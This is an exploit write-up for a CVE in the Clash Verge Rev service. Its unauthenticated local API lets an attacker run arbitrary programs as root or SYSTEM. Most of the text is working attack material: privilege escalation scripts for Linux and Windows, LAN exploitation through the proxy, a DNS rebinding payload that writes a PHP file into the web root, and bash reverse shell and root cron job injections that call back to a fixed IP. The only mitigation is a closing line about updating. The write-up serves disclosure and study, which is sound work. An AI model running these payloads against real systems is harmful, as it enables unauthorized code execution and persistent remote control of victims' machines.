
Exploit for CVE-2025-50505 in Clash Verge Rev, demonstrating local privilege escalation and remote code execution via unauthenticated API, including DNS rebinding and reverse shell techniques.
Unauthorized API Leads to Arbitrary Command Execution and Privilege Escalation in Clash Verge Rev
The vulnerability stems from an unauthenticated API endpoint exposed by the clash-verge-service component, which is installed with elevated privileges by default. This flaw allows attackers to execute arbitrary commands, leading to two primary attack scenarios: Local Privilege Escalation (LPE) on the host machine and Remote Code Execution (RCE) under specific conditions.
The RCE vector can be exploited by attackers on the same Local Area Network (LAN) if the user has enabled LAN connections. More critically, it can be exploited from the public internet by chaining the vulnerability with a DNS Rebinding attack, enabling attackers to bypass browser security policies and execute commands on a victim's machine simply by having them visit a malicious website.
Initial public warning of this vulnerability was provided by @KawaiiZapic on X.
The clash-verge-service component runs with high privileges (root or SYSTEM) and exposes an unauthenticated HTTP API on 127.0.0.1:33211. The vulnerability lies within the /start_clash endpoint, which accepts a JSON payload to control the startup of the Mihomo core process.
The service constructs and executes a command based on several parameters from this payload, following a structure similar to:
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
Crucially, all four parameters—bin_path, config_dir, config_file, and log_file—are fully controllable by the attacker. Although Rust provides inherent protection against classic command injection (e.g., using ; or | to chain commands), the attacker's control over the entire command structure enables a two-stage attack to achieve arbitrary code execution.
/start_clash interfaceclash-verge-service/src/service/mod.rs
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() calls start_mihomo() and start_mihomo() calls the function process::spawn_process(bin_path, &args, log) passing in bin_path. spawn_process() calls std::Command::new(command) to execute the commandclash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

The vulnerability can be escalated to RCE in two scenarios.
If a user enables the "Allow LAN"(局域网连接) option within the Clash Verge Rev client, the application's proxy server becomes accessible to all devices on the same local network. An attacker on the same LAN can exploit this by directing their malicious request through the victim's exposed proxy.
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
A more advanced attack can be performed from the internet without requiring LAN access. The attack chain leverages DNS Rebinding in combination with a specific browser behavior known as the "0.0.0.0-day" exploit.
The key to this attack is that Firefox and certain versions of Chromium treat the IP address 0.0.0.0 as an alias for 127.0.0.1. This allows an attacker to bypass modern browser security features like the Same-Origin Policy (SOP) and Private Network Access (PNA).
The attack flow is as follows:
attacker.com).attacker.com to its real public IP address. The malicious page loads in the victim's browser.attacker.com to 0.0.0.0 with a very short TTL.attacker.com and now receives 0.0.0.0.127.0.0.1 on the victim's machine.Since the request's origin is still attacker.com, the script successfully bypasses security restrictions and communicates directly with the vulnerable clash-verge-service API on 127.0.0.1:33211, achieving remote code execution.
/**
* Clash-Verge-Rev payload
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] sent"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
Replace the PHP probe with any scripting language that supports boundary markers. If you want to get a root shell, refer to the next section and modify the payload.
./singularity-server --HTTPServerPort 33211https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

Note: When customize Content-Type to application/json, do not set no-cors. First then second is a slower but more stable DNS rebinding mode. You can also choose multiple answers, but this may be mitigated by some public DNS servers, causing the attack to fail.
MacOS and some Linux systems (e.g. Kali) have zsh installed, which allows scripts to be executed with -d and -f.
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# OR SET UP A CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
Thanks to @Esonhugh for suggesting that zsh can be used to execute commands successfully under these conditions.
Update to the Latest Version.